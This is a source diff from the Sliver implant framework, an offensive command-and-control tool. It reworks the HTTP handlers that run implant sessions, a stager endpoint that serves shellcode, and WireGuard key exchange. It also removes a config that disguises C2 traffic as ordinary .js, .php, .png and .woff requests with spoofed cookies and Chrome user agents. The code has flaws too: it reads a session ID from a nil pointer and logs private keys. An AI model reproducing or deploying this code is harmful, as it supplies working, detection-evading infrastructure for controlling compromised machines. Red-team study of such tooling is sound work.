|
||||
if err != nil {
|
||||
httpLog.Error("RSA decryption failed")
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
httpLog.Info("RSA decryption failed")
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
sessionInit := &sliverpb.HTTPSessionInit{}
|
||||
@@ -550,7 +416,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
ID: core.NextSessionID(),
|
||||
Transport: "http(s)",
|
||||
RemoteAddress: getRemoteAddr(req),
|
||||
Send: make(chan *sliverpb.Envelope),
|
||||
Send: make(chan *sliverpb.Envelope, 16),
|
||||
RespMutex: &sync.RWMutex{},
|
||||
Resp: map[uint64]chan *sliverpb.Envelope{},
|
||||
})
|
||||
@@ -561,31 +427,52 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, []byte(httpSession.ID))
|
||||
if err != nil {
|
||||
httpLog.Info("Failed to encrypt session identifier")
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
http.SetCookie(resp, &http.Cookie{
|
||||
Domain: s.ServerConf.Domain,
|
||||
Name: s.getCookieName(),
|
||||
Domain: s.Conf.Domain,
|
||||
Name: sessionCookieName,
|
||||
Value: httpSession.ID,
|
||||
Secure: false,
|
||||
Secure: true,
|
||||
HttpOnly: true,
|
||||
})
|
||||
resp.Write(encoder.Encode(ciphertext))
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Session request")
|
||||
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
resp.WriteHeader(403)
|
||||
return
|
||||
}
|
||||
|
||||
plaintext, err := s.readReqBody(httpSession, resp, req)
|
||||
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to decode request body: %s", err)
|
||||
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
body, _ := ioutil.ReadAll(req.Body)
|
||||
data, err := encoder.Decode(body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to decode body %s", err)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
|
||||
if httpSession.isReplayAttack(data) {
|
||||
httpLog.Warn("Replay attack detected")
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
|
||||
if err != nil {
|
||||
httpLog.Warnf("GCM decryption failed %v", err)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
envelope := &sliverpb.Envelope{}
|
||||
@@ -601,134 +488,81 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
|
||||
} else if handler, ok := handlers[envelope.Type]; ok {
|
||||
handler.(func(*core.Session, []byte))(httpSession.Session, envelope.Data)
|
||||
}
|
||||
resp.WriteHeader(http.StatusAccepted)
|
||||
resp.WriteHeader(200)
|
||||
// TODO: Return random data?
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Poll request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Warnf("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(403)
|
||||
return
|
||||
}
|
||||
|
||||
// We already know we have a valid nonce because of the middleware filter
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
nonce, _ := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
_, encoder, _ := encoders.EncoderFromNonce(nonce)
|
||||
select {
|
||||
case envelope := <-httpSession.Session.Send:
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
resp.WriteHeader(200)
|
||||
envelopeData, _ := proto.Marshal(envelope)
|
||||
ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to encrypt message %s", err)
|
||||
ciphertext = []byte{}
|
||||
}
|
||||
resp.Write(encoder.Encode(ciphertext))
|
||||
case <-time.After(s.getPollTimeout()):
|
||||
data, _ := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
|
||||
resp.Write(encoder.Encode(data))
|
||||
case <-time.After(pollTimeout):
|
||||
httpLog.Debug("Poll time out")
|
||||
resp.Header().Set("Etag", s.randomEtag())
|
||||
resp.WriteHeader(http.StatusNoContent)
|
||||
resp.WriteHeader(201)
|
||||
resp.Write([]byte{})
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return nil, ErrInvalidEncoder
|
||||
}
|
||||
|
||||
body, err := ioutil.ReadAll(&io.LimitedReader{
|
||||
R: req.Body,
|
||||
N: int64(s.ServerConf.MaxRequestLength),
|
||||
})
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to read request body %s", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
data, err := encoder.Decode(body)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to decode body %s", err)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return nil, ErrDecodeFailed
|
||||
}
|
||||
|
||||
if httpSession.isReplayAttack(data) {
|
||||
httpLog.Warn("Replay attack detected")
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return nil, ErrReplayAttack
|
||||
}
|
||||
plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
|
||||
return plaintext, err
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getPollTimeout() time.Duration {
|
||||
if s.ServerConf.LongPollJitter < 0 {
|
||||
s.ServerConf.LongPollJitter = 0
|
||||
}
|
||||
min := s.ServerConf.LongPollTimeout
|
||||
max := s.ServerConf.LongPollTimeout + s.ServerConf.LongPollJitter
|
||||
timeout := min + insecureRand.Float32()*(max-min)
|
||||
pollTimeout := time.Duration(timeout) * time.Second
|
||||
if pollTimeout < minPollTimeout {
|
||||
httpLog.Warnf("Poll timeout is too short, using default minimum %v", minPollTimeout)
|
||||
pollTimeout = minPollTimeout
|
||||
}
|
||||
return pollTimeout
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) randomEtag() string {
|
||||
buf := make([]byte, 16)
|
||||
rand.Read(buf)
|
||||
return hex.EncodeToString(buf[:])
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Close request")
|
||||
func (s *SliverHTTPC2) stopHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
resp.WriteHeader(403)
|
||||
return
|
||||
}
|
||||
|
||||
_, err := s.readReqBody(httpSession, resp, req)
|
||||
nonce := []byte(req.URL.Query().Get("nonce"))
|
||||
if httpSession.isReplayAttack(nonce) {
|
||||
httpLog.Warn("Replay attack detected")
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
_, err := cryptography.GCMDecrypt(httpSession.Key, nonce)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to read request body %s", err)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
httpLog.Warnf("GCM decryption failed %v", err)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
|
||||
core.Sessions.Remove(httpSession.Session.ID)
|
||||
s.HTTPSessions.Remove(httpSession.ID)
|
||||
resp.WriteHeader(http.StatusAccepted)
|
||||
resp.WriteHeader(200)
|
||||
}
|
||||
|
||||
// stagerHander - Serves the sliver shellcode to the stager requesting it
|
||||
func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Stager request")
|
||||
if len(s.SliverStage) != 0 {
|
||||
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
|
||||
resp.Write(s.SliverStage)
|
||||
httpLog.Infof("Serving sliver shellcode (size %d) to %s", len(s.SliverStage), getRemoteAddr(req))
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
resp.WriteHeader(200)
|
||||
} else {
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
resp.WriteHeader(404)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
|
||||
for _, cookie := range req.Cookies() {
|
||||
httpSession := s.HTTPSessions.Get(cookie.Value)
|
||||
if httpSession != nil {
|
||||
httpSession.Session.UpdateCheckin()
|
||||
return httpSession
|
||||
if cookie.Name == sessionCookieName {
|
||||
httpSession := s.HTTPSessions.Get(cookie.Value)
|
||||
if httpSession != nil {
|
||||
httpSession.Session.UpdateCheckin()
|
||||
return httpSession
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return nil // No valid cookie names
|
||||
@@ -762,7 +596,7 @@ func getRemoteAddr(req *http.Request) string {
|
||||
// input we don't want to trust it.
|
||||
ip := net.ParseIP(ipAddress)
|
||||
if ip == nil {
|
||||
httpLog.Warn("Failed to parse X-Header as ip address")
|
||||
httpLog.Warnf("Failed to parse X-Header as ip address")
|
||||
return req.RemoteAddr
|
||||
}
|
||||
return fmt.Sprintf("tcp(%s)->%s", req.RemoteAddr, ip.String())
|
||||
File renamed without changes.
@@ -69,5 +69,5 @@ func handleConnection(conn net.Conn, data []byte) {
|
||||
// Send shellcode
|
||||
conn.Write(final)
|
||||
// Closing connection
|
||||
// conn.Close()
|
||||
conn.Close()
|
||||
}
|
||||
@@ -1,23 +1,5 @@
|
||||
package c2
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
@@ -43,7 +25,7 @@ var (
|
||||
tunIP = "100.64.0.1" // Don't let user configure this for now
|
||||
)
|
||||
|
||||
// StartWGListener - First creates an inet.af network stack.
|
||||
// StartWGListener - First ceates an inet.af network stack.
|
||||
// then creates a Wireguard device/interface and applies configuration.
|
||||
// Go routines are spun up to handle key exchange connections, as well
|
||||
// as c2 comms connections.
|
||||
@@ -164,7 +146,8 @@ func handleKeyExchangeConnection(conn net.Conn) {
|
||||
} else {
|
||||
wgLog.Infof("Successfully generated new wg keys")
|
||||
message := implantPrivKey + "|" + serverPubKey + "|" + string(ip)
|
||||
wgLog.Debugf("Sending new wg keys and IP: %s", message)
|
||||
|
||||
wgLog.Infof("Sending new wg keys and IP: %s", message)
|
||||
conn.Write([]byte(message))
|
||||
}
|
||||
}
|
||||
File renamed without changes.
@@ -229,23 +229,23 @@ func generateCertificate(caType string, subject pkix.Name, isCA bool, isClient b
|
||||
}
|
||||
|
||||
// Sign certificate or self-sign if CA
|
||||
var err error
|
||||
var certErr error
|
||||
var derBytes []byte
|
||||
if isCA {
|
||||
certsLog.Infof("Certificate is an AUTHORITY")
|
||||
template.IsCA = true
|
||||
template.KeyUsage |= x509.KeyUsageCertSign
|
||||
derBytes, err = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey)
|
||||
derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey)
|
||||
} else {
|
||||
caCert, caKey, err := GetCertificateAuthority(caType) // Sign the new certificate with our CA
|
||||
if err != nil {
|
||||
certsLog.Fatalf("Invalid ca type (%s): %v", caType, err)
|
||||
}
|
||||
derBytes, err = x509.CreateCertificate(rand.Reader, &template, caCert, publicKey(privateKey), caKey)
|
||||
derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, caCert, publicKey(privateKey), caKey)
|
||||
}
|
||||
if err != nil {
|
||||
if certErr != nil {
|
||||
// We maybe don't want this to be fatal, but it should basically never happen afaik
|
||||
certsLog.Fatalf("Failed to create certificate: %s", err)
|
||||
certsLog.Fatalf("Failed to create certificate: %s", certErr)
|
||||
}
|
||||
|
||||
// Encode certificate and key
|
||||
|
||||
@@ -1,489 +0,0 @@
|
||||
package configs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"path"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
)
|
||||
|
||||
const (
|
||||
httpC2ConfigFileName = "http-c2.json"
|
||||
chromeBaseVer = 89
|
||||
)
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
type HTTPC2Config struct {
|
||||
ImplantConfig *HTTPC2ImplantConfig `json:"implant_config"`
|
||||
ServerConfig *HTTPC2ServerConfig `json:"server_config"`
|
||||
}
|
||||
|
||||
// GenerateUserAgent - Generate a user-agent depending on OS/Arch
|
||||
func (h *HTTPC2Config) GenerateUserAgent(goos string, goarch string) string {
|
||||
return h.generateChromeUserAgent(goos, goarch)
|
||||
}
|
||||
|
||||
func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) string {
|
||||
if h.ImplantConfig.UserAgent == "" {
|
||||
switch goos {
|
||||
case "windows":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
case "linux":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
case "darwin":
|
||||
switch goarch {
|
||||
case "arm64":
|
||||
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
return h.ImplantConfig.UserAgent
|
||||
}
|
||||
|
||||
// Default is a generic Windows/Chrome
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
// ChromeVer - Generate a random Chrome user-agent
|
||||
func (h *HTTPC2Config) ChromeVer() string {
|
||||
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
|
||||
}
|
||||
|
||||
// RandomImplantConfig - Randomly generate a config
|
||||
func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
|
||||
config := &HTTPC2ImplantConfig{}
|
||||
*config = *h.ImplantConfig
|
||||
|
||||
config.KeyExchangeFiles = h.ImplantConfig.RandomKeyExchangeFiles()
|
||||
config.KeyExchangePaths = h.ImplantConfig.RandomKeyExchangePaths()
|
||||
|
||||
config.PollFiles = h.ImplantConfig.RandomPollFiles()
|
||||
config.PollPaths = h.ImplantConfig.RandomPollPaths()
|
||||
|
||||
config.SessionFiles = h.ImplantConfig.RandomSessionFiles()
|
||||
config.SessionPaths = h.ImplantConfig.RandomSessionPaths()
|
||||
|
||||
config.CloseFiles = h.ImplantConfig.RandomCloseFiles()
|
||||
config.ClosePaths = h.ImplantConfig.RandomClosePaths()
|
||||
|
||||
return config
|
||||
}
|
||||
|
||||
type HTTPHeader struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// HTTPC2ServerConfig - Server configuration options
|
||||
type HTTPC2ServerConfig struct {
|
||||
RandomVersionHeaders bool `json:"random_version_headers"`
|
||||
ExtraHeaders []HTTPHeader `json:"headers"`
|
||||
Cookies []string `json:"cookies"`
|
||||
}
|
||||
|
||||
// HTTPC2ImplantConfig - Implant configuration options
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .css = start
|
||||
// .php = session
|
||||
// .js = poll
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
URLParameters []string `json:"url_parameters"`
|
||||
Headers []string `json:"headers"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
MaxPaths int `json:"max_paths"`
|
||||
MinPaths int `json:"min_paths"`
|
||||
|
||||
// Stager File Extension
|
||||
StagerFileExt string `json:"stager_file_ext"`
|
||||
|
||||
// Key Exchange (default .txt) files and paths
|
||||
KeyExchangeFileExt string `json:"key_exchange_file_ext"`
|
||||
KeyExchangeFiles []string `json:"key_exchange_files"`
|
||||
KeyExchangePaths []string `json:"key_exchange_paths"`
|
||||
|
||||
// Poll files and paths
|
||||
PollFileExt string `json:"poll_file_ext"`
|
||||
PollFiles []string `json:"poll_files"`
|
||||
PollPaths []string `json:"poll_paths"`
|
||||
|
||||
// Session files and paths
|
||||
StartSessionFileExt string `json:"start_session_file_ext"`
|
||||
SessionFileExt string `json:"session_file_ext"`
|
||||
SessionFiles []string `json:"session_files"`
|
||||
SessionPaths []string `json:"session_paths"`
|
||||
|
||||
// Close session files and paths
|
||||
CloseFileExt string `json:"close_file_ext"`
|
||||
CloseFiles []string `json:"close_files"`
|
||||
ClosePaths []string `json:"close_paths"`
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomKeyExchangeFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.KeyExchangeFiles, h.KeyExchangeFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomKeyExchangePaths() []string {
|
||||
return h.randomSample(h.KeyExchangePaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomPollFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.PollFiles, h.PollFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomPollPaths() []string {
|
||||
return h.randomSample(h.PollPaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomCloseFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.CloseFiles, h.CloseFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomClosePaths() []string {
|
||||
return h.randomSample(h.ClosePaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomSessionFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.SessionFiles, h.SessionFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomSessionPaths() []string {
|
||||
return h.randomSample(h.SessionPaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) randomSample(values []string, ext string, min int, max int) []string {
|
||||
count := insecureRand.Intn(len(values))
|
||||
if count < min {
|
||||
count = min
|
||||
}
|
||||
if max < count {
|
||||
count = max
|
||||
}
|
||||
sample := []string{}
|
||||
for i := 0; len(sample) < count; i++ {
|
||||
index := (count + i) % len(values)
|
||||
sample = append(sample, values[index])
|
||||
}
|
||||
return sample
|
||||
}
|
||||
|
||||
var (
|
||||
httpC2ConfigLog = log.NamedLogger("config", "http-c2")
|
||||
|
||||
defaultHTTPC2Config = HTTPC2Config{
|
||||
ServerConfig: &HTTPC2ServerConfig{
|
||||
RandomVersionHeaders: true,
|
||||
Cookies: []string{
|
||||
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
|
||||
},
|
||||
},
|
||||
ImplantConfig: &HTTPC2ImplantConfig{
|
||||
UserAgent: "", // Blank string is rendered as randomized platform user-agent
|
||||
MaxFiles: 8,
|
||||
MinFiles: 2,
|
||||
MaxPaths: 8,
|
||||
MinPaths: 2,
|
||||
|
||||
StagerFileExt: ".woff",
|
||||
|
||||
KeyExchangeFileExt: ".txt",
|
||||
KeyExchangeFiles: []string{
|
||||
"robots", "sample", "readme", "example",
|
||||
},
|
||||
KeyExchangePaths: []string{
|
||||
"static", "www", "assets", "text", "docs", "sample", "data", "readme",
|
||||
"examples",
|
||||
},
|
||||
|
||||
PollFileExt: ".js",
|
||||
PollFiles: []string{
|
||||
"bootstrap", "bootstrap.min", "jquery.min", "jquery", "route",
|
||||
"app", "app.min", "array", "backbone", "script", "email",
|
||||
},
|
||||
PollPaths: []string{
|
||||
"js", "umd", "assets", "bundle", "bundles", "scripts", "script", "javascripts",
|
||||
"javascript", "jscript",
|
||||
},
|
||||
|
||||
StartSessionFileExt: ".phtml",
|
||||
SessionFileExt: ".php",
|
||||
SessionFiles: []string{
|
||||
"login", "signin", "api", "samples", "rpc", "index",
|
||||
"admin", "register", "sign-up",
|
||||
},
|
||||
SessionPaths: []string{
|
||||
"php", "api", "upload", "actions", "rest", "v1", "auth", "authenticate",
|
||||
"oauth", "oauth2", "oauth2callback", "database", "db", "namespaces",
|
||||
},
|
||||
|
||||
CloseFileExt: ".png",
|
||||
CloseFiles: []string{
|
||||
"favicon", "sample", "example",
|
||||
},
|
||||
ClosePaths: []string{
|
||||
"static", "www", "assets", "images", "icons", "image", "icon", "png",
|
||||
},
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// GetHTTPC2ConfigPath - File path to http-c2.json
|
||||
func GetHTTPC2ConfigPath() string {
|
||||
appDir := assets.GetRootAppDir()
|
||||
httpC2ConfigPath := path.Join(appDir, "configs", httpC2ConfigFileName)
|
||||
return httpC2ConfigPath
|
||||
}
|
||||
|
||||
// GetHTTPC2Config - Get the current HTTP C2 config
|
||||
func GetHTTPC2Config() *HTTPC2Config {
|
||||
configPath := GetHTTPC2ConfigPath()
|
||||
if _, err := os.Stat(configPath); os.IsNotExist(err) {
|
||||
err = generateDefaultConfig(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
}
|
||||
data, err := ioutil.ReadFile(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
config := &HTTPC2Config{}
|
||||
err = json.Unmarshal(data, config)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
err = CheckHTTPC2Config(config)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
return config
|
||||
}
|
||||
|
||||
func generateDefaultConfig(saveTo string) error {
|
||||
data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(saveTo, data, 0600)
|
||||
}
|
||||
|
||||
var (
|
||||
ErrMissingCookies = errors.New("server config must specify at least one cookie")
|
||||
ErrMissingStagerFileExt = errors.New("implant config must specify a stager_file_ext")
|
||||
ErrMissingPollFileExt = errors.New("implant config must specify a poll_file_ext")
|
||||
ErrTooFewPollFiles = errors.New("implant config must specify at least one poll_files value")
|
||||
ErrMissingKeyExchangeFileExt = errors.New("implant config must specify a key_exchange_file_ext")
|
||||
ErrTooFewKeyExchangeFiles = errors.New("implant config must specify at least one key_exchange_files value")
|
||||
ErrMissingCloseFileExt = errors.New("implant config must specify a close_file_ext")
|
||||
ErrTooFewCloseFiles = errors.New("implant config must specify at least one close_files value")
|
||||
ErrMissingStartSessionFileExt = errors.New("implant config must specify a start_session_file_ext")
|
||||
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
|
||||
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
|
||||
ErrNonuniqueFileExt = errors.New("implant config must specify unique file extensions")
|
||||
|
||||
fileNameExp = regexp.MustCompile("[^a-zA-Z0-9\\._-]+")
|
||||
)
|
||||
|
||||
// CheckHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
|
||||
func CheckHTTPC2Config(config *HTTPC2Config) error {
|
||||
err := checkServerConfig(config.ServerConfig)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return checkImplantConfig(config.ImplantConfig)
|
||||
}
|
||||
|
||||
func coerceFileExt(value string) string {
|
||||
value = fileNameExp.ReplaceAllString(value, "")
|
||||
for strings.HasPrefix(value, ".") {
|
||||
value = strings.TrimPrefix(value, ".")
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
func coerceFiles(values []string, ext string) []string {
|
||||
values = uniqueFileName(values)
|
||||
coerced := []string{}
|
||||
for _, value := range values {
|
||||
if strings.HasSuffix(value, fmt.Sprintf(".%s", ext)) {
|
||||
value = strings.TrimSuffix(value, fmt.Sprintf(".%s", ext))
|
||||
}
|
||||
coerced = append(coerced, value)
|
||||
}
|
||||
return coerced
|
||||
}
|
||||
|
||||
func uniqueFileName(strSlice []string) []string {
|
||||
allKeys := make(map[string]bool)
|
||||
list := []string{}
|
||||
for _, item := range strSlice {
|
||||
item = fileNameExp.ReplaceAllString(item, "")
|
||||
if len(item) < 1 {
|
||||
continue
|
||||
}
|
||||
if _, value := allKeys[item]; !value {
|
||||
allKeys[item] = true
|
||||
list = append(list, item)
|
||||
}
|
||||
}
|
||||
return list
|
||||
}
|
||||
|
||||
func checkServerConfig(config *HTTPC2ServerConfig) error {
|
||||
if len(config.Cookies) < 1 {
|
||||
return ErrMissingCookies
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func checkImplantConfig(config *HTTPC2ImplantConfig) error {
|
||||
|
||||
// MinFiles and MaxFiles
|
||||
if config.MinFiles < 1 {
|
||||
config.MinFiles = 1
|
||||
}
|
||||
if config.MaxFiles < config.MinFiles {
|
||||
config.MaxFiles = config.MinFiles
|
||||
}
|
||||
|
||||
// MinPaths and MaxPaths
|
||||
if config.MinPaths < 0 {
|
||||
config.MinPaths = 0
|
||||
}
|
||||
if config.MaxPaths < config.MinPaths {
|
||||
config.MaxPaths = config.MinPaths
|
||||
}
|
||||
|
||||
// Stager
|
||||
config.StagerFileExt = coerceFileExt(config.StagerFileExt)
|
||||
if config.StagerFileExt == "" {
|
||||
return ErrMissingStagerFileExt
|
||||
}
|
||||
|
||||
// Key Exchange
|
||||
config.KeyExchangeFileExt = coerceFileExt(config.KeyExchangeFileExt)
|
||||
if config.KeyExchangeFileExt == "" {
|
||||
return ErrMissingKeyExchangeFileExt
|
||||
}
|
||||
config.KeyExchangeFiles = coerceFiles(config.KeyExchangeFiles, config.KeyExchangeFileExt)
|
||||
if len(config.KeyExchangeFiles) < 1 {
|
||||
return ErrTooFewKeyExchangeFiles
|
||||
}
|
||||
|
||||
// Poll Settings
|
||||
config.PollFileExt = coerceFileExt(config.PollFileExt)
|
||||
